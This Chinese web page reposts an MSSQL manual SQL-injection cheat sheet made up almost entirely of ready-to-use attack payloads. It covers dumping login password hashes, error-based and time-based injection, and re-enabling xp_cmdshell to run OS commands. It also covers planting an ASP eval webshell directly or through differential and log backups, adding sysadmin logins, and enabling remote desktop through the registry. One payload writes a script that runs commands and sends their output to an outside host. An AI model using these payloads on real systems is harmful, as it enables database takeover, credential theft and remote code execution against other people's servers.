当前位置:Gxlcms > 数据库问题 > MSSQL手工注入辅助工具

MSSQL手工注入辅助工具

时间:2021-07-01 10:21:17 帮助过:17人阅读


语句及说明
#数据库版本SELECT @@version
#主机名,IP地址SELECT HOST_NAME()
#当前用户SELECT user_name();SELECT system_user;SELECT user;SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
#列出所有用户SELECT name FROM master..syslogins
#列密码 mssql 2000SELECT name, password FROM master..sysxlogins  --*SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins --*
#列密码 mssql 2005SELECT name, password_hash FROM master.sys.sql_logins --*SELECT name + ‘-‘ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins --*
注射类型: 普通
适用环境: 常规

备注说明:1. 语句末尾加 --* 表示需要管理权限才能执行的语句2. MSSQL 2000 and 2005 Hashes are both SHA1-based
mssql > 列举数据库
语句及说明
#当前库SELECT DB_NAME()
#列举库SELECT name FROM master..sysdatabases;SELECT DB_NAME(N); — 其中N = 0, 1, 2,
注射类型: 普通
适用环境: 常规

备注说明:默认系统库有以下:northwindmodelmsdbpubs — sql server 2005 没有此库tempdb
mssql > 列举表名
语句及说明#列举表SELECT name FROM 库名..sysobjects WHERE xtype = ‘U‘;
#根据字段名列表名SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM 库名..sysobjects JOIN 库名..syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U‘ AND syscolumns.name LIKE ‘%字段名%‘
mssql > 列举字段名
语句及说明#列举当前库中的表的字段SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘表名‘);
#列举master库中的表的字段SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=‘表名‘;
mssql > 单条数据获取
语句及说明#获取第 NNN 条数据SELECT TOP 1 name FROM (SELECT TOP NNN name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC

mssql > 权限相关
语句及说明#判断当前用户权限SELECT is_srvrolemember(‘sysadmin‘);SELECT is_srvrolemember(‘dbcreator‘);SELECT is_srvrolemember(‘bulkadmin‘);SELECT is_srvrolemember(‘diskadmin‘);SELECT is_srvrolemember(‘processadmin‘);SELECT is_srvrolemember(‘serveradmin‘);SELECT is_srvrolemember(‘setupadmin‘);SELECT is_srvrolemember(‘securityadmin‘);
#判断某指定用户的权限SELECT is_srvrolemember(‘sysadmin‘, ‘sa‘);
#判断是否是库权限and 1=(Select IS_MEMBER(‘db_owner‘))
#判断是否有库读取权限and 1= (Select HAS_DBACCESS(‘master‘))
#获取具有某个权限的用户名SELECT name FROM master..syslogins WHERE denylogin = 0;SELECT name FROM master..syslogins WHERE hasaccess = 1;SELECT name FROM master..syslogins WHERE isntname = 0;SELECT name FROM master..syslogins WHERE isntgroup = 0;SELECT name FROM master..syslogins WHERE sysadmin = 1;SELECT name FROM master..syslogins WHERE securityadmin = 1;SELECT name FROM master..syslogins WHERE serveradmin = 1;SELECT name FROM master..syslogins WHERE setupadmin = 1;SELECT name FROM master..syslogins WHERE processadmin = 1;SELECT name FROM master..syslogins WHERE diskadmin = 1;SELECT name FROM master..syslogins WHERE dbcreator = 1;SELECT name FROM master..syslogins WHERE bulkadmin = 1;
#当前所拥有的权限SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE‘); — current databaseSELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER‘); — current serverSELECT permission_name FROM master..fn_my_permissions(‘master..syslogins‘, ‘OBJECT‘); –permissions on a tableSELECT permission_name FROM master..fn_my_permissions(‘sa‘, ‘USER‘);
注射类型: 普通
适用环境: 常规

备注说明:/*服务器角色*/sysadmin--在 SQL Server 中进行任何活动。该角色的权限跨越所有其它固定服务器角色。serveradmin--配置服务器范围的设置。setupadmin--添加和删除链接服务器,并执行某些系统存储过程(如 sp_serveroption)。securityadmin--管理服务器登录。processadmin--管理在 SQL Server 实例中运行的进程。dbcreator--创建和改变数据库。diskadmin--管理磁盘文件。bulkadmin--执行 BULK INSERT 语句。
/*数据库角色*/publicpublic 角色--public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:--捕获数据库中用户的所有默认权限。--无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。--含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。--无法除去。db_owner--进行所有数据库角色的活动,以及数据库中的其它维护和配置活动。--该角色的权限跨越所有其它固定数据库角色。db_accessadmin--在数据库中添加或删除 Windows NT 4.0 或 Windows 2000 组和用户以及 SQL Server 用户。db_datareader--查看来自数据库中所有用户表的全部数据。db_datawriter--添加、更改或删除来自数据库中所有用户表的数据db_ddladmin--添加、修改或除去数据库中的对象(运行所有 DDL)db_securityadmin--管理 SQL Server 2000 数据库角色的角色和成员,并管理数据库中的语句和对象权限db_backupoperator--有备份数据库的权限db_denydatareader--拒绝选择数据库数据的权限db_denydatawriter--拒绝更改数据库数据的权限
mssql > 显错注入
语句及说明#直接与数字比较id=1 and @@version>0--id=1 and user>0--id=1 and db_name()>0--
#将数据转换成整数致报错,可用于爆库名,表名,数据名id=1 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--
#having 1=1爆数据id=13 having 1=1 --id=13 group by 表名.字段名1,字段名2 having 1=1 --
mssql > 延时注入
语句及说明#延时3秒IF(ascii(SUBSTRING(‘name‘,1,1))>0) waitfor delay‘0:0:3‘

mssql > 命令执行
语句及说明
#判断功能是否存在and select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread‘) #注册表and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask‘) #备份and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc‘) #恢复扩展and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs‘) #读取子目录and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree‘) #列目录
#恢复与删除扩展exec sp_addextendedproc xp_cmdshell,‘xplog70.dll‘exec sp_dropextendedproc ‘xp_cmdshell‘
#恢复xp_cmdshellEXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘show advanced options‘, 0 --
#访问COM组件;declare @s int;;exec sp_oacreat ‘wscript.shell‘,@s;exec master..spoamethod @s,‘run‘,null,‘cmd.exe/c dir c:\
#执行命令EXEC xp_cmdshell ‘net user‘;
#写注册表exec master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\CurrentControlSet\Control\Terminal Server‘,‘fDenyTSConnections‘,‘REG_DWORD‘,0;--
#读注册表create table labeng(lala nvarchar(255), id int);DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘,@result output insert into labeng(lala) values(@result); #读网站目录
#写shellexec master.dbo.xp_cmdshell ‘echo ^<%eval request("o")%^> >E:\wwwroot\1.asp‘; --
#停掉或激活某个服务exec master..xp_servicecontrol ‘stop‘,‘schedule‘exec master..xp_servicecontrol ‘start‘,‘schedule‘
#添加、删除、设置用户为DBA的操作EXEC sp_addlogin ‘user‘, ‘pass‘;EXEC sp_droplogin ‘user‘;EXEC master.dbo.sp_addsrvrolemember ‘user‘, ‘sysadmin‘;
#获取DB文件位置信息EXEC sp_helpdb master; -- master.mdf位置

mssql > 文件读写
语句及说明#文件读取 (创建临时表,bulk insert读取内容到表)CREATE TABLE mydata (line varchar(8000));BULK INSERT mydata FROM ‘c:\boot.ini‘;DROP TABLE mydata;
#文件读取 (创建临时表,insert & xp_cmdshell读取内容)create table mytmp(data varchar(4000)); --insert mytmp exec master.dbo.xp_cmdshell ‘ipconfig /all‘; --
#页面无回显时,读取命令执行内容 (需目标机器可连外网) (先写入JS,然后通过执行JS将命令执行内容,通过ajax发送给接收端)exec master.dbo.xp_cmdshell ‘echo (function(){var ws=new ActiveXObject("WScript.shell"),cmd="cmd.exe /c dir c:\\";var data=ws.exec(cmd).stdout.ReadAll();var ajax=new ActiveXObject("Microsoft.xmlhttp");ajax.open("POST","http://itsokla.duapp.com/cmd.php",false);ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajax.send("cmd="+encodeURIComponent(cmd)+"&data="+encodeURIComponent(encodeURIComponent(data)));})() > c:\e.js‘ --exec master.dbo.xp_cmdshell ‘wscript c:\e.js‘ --

mssql > 差异备份
语句及说明#差异备份1. 将数据库备份一次,路径随便backup database 库名 to disk = ‘c:\xxxxx.bak‘;--2. 创建临时表,并写入shell内容create table [dbo].[dtest] ([cmd] [image]);insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--3. 差异备份,将新增内容,备份至SHELLbackup database 库名 to disk=‘目标位置\d.asp‘ WITH DIFFERENTIAL,FORMAT;--
#log备份1. 设置数据库恢复模式为FULLalter database 当前库名 set RECOVERY FULL--2. 创建临时表create table cmd (a image)--3. 备份日志一次backup log 当前库名 to disk = ‘f:\cmd‘ with init--4. 在表内插入shell内容insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--5. 再次备份日志backup log 当前库名 to disk = ‘备份路径‘--6. 删除临时表drop table cmd--7. 改变数据库恢复模式为SIMPLEalter database 当前库名 set RECOVERY SIMPLE--

mssql > 判断及字符串相关
语句及说明#取子字符串SELECT substring(‘abcd‘, 3, 1) --返回c
#ascii转charSELECT char(0x41) -- 返回ASELECT char(65) -- 返回A
#char转asciiSELECT ascii(‘A‘) -- 返回65
#类型转换SELECT CAST(‘1‘ as int);SELECT CAST(1 as char);CONVERT (数据类型,表达式)
#字符串连接SELECT ‘A‘ + ‘B‘ – returns AB
#位运算SELECT 6 & 2 — returns 2SELECT 6 & 1 — returns 0
#if 判断IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
#case 判断SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
注射类型: 普通
适用环境: 常规

备注说明:字符串相关函数索引-------------------------------ASCII返回字符表达式最左端字符的 ASCII 代码值
NCHAR根据 Unicode 标准所进行的定义,用给定整数代码返回 Unicode 字符。
SOUNDEX返回由四个字符组成的代码 (SOUNDEX) 以评估两个字符串的相似性。
CHAR将 int ASCII 代码转换为字符的字符串函数。
PATINDEX返回指定表达式中某模式第一次出现的起始位置;如果在全部有效的文本和字符数据类型中没有找到该模式,则返回零。
SPACE返回由重复的空格组成的字符串。
CHARINDEX返回字符串中指定表达式的起始位置。
REPLACE用第三个表达式替换第一个字符串表达式中出现的所有第二个给定字符串表达式。
STR由数字数据转换来的字符数据。
DIFFERENCE以整数返回两个字符表达式的 SOUNDEX 值之差。
QUOTENAME返回带有分隔符的 Unicode 字符串,分隔符的加入可使输入的字符串成为有效的 Microsoft? SQL Server? 分隔标识符。
STUFF删除指定长度的字符并在指定的起始点插入另一组字符。
LEFT返回从字符串左边开始指定个数的字符。
REPLICATE以指定的次数重复字符表达式。
SUBSTRING返回字符、binary、text 或 image 表达式的一部分。有关可与该函数一起使用的有效 Microsoft? SQL Server? 数据类型的更多信息,请参见数据类型。
LEN返回给定字符串表达式的字符(而不是字节)个数,其中不包含尾随空格。
REVERSE返回字符表达式的反转
UNICODE按照 Unicode 标准的定义,返回输入表达式的第一个字符的整数值。
LOWER将大写字符数据转换为小写字符数据后返回字符表达式。
RIGHT返回字符串中从右边开始指定个数的 integer_expression 字符。
UPPER返回将小写字符数据转换为大写的字符表达式
LTRIM删除起始空格后返回字符表达式。
RTRIM   截断所有尾随空格后返回一个字符串。


来自为知笔记(Wiz)

MSSQL手工注入辅助工具

标签:express   boot   判断   splay   terminal   simple   isp   4.0   into   

人气教程排行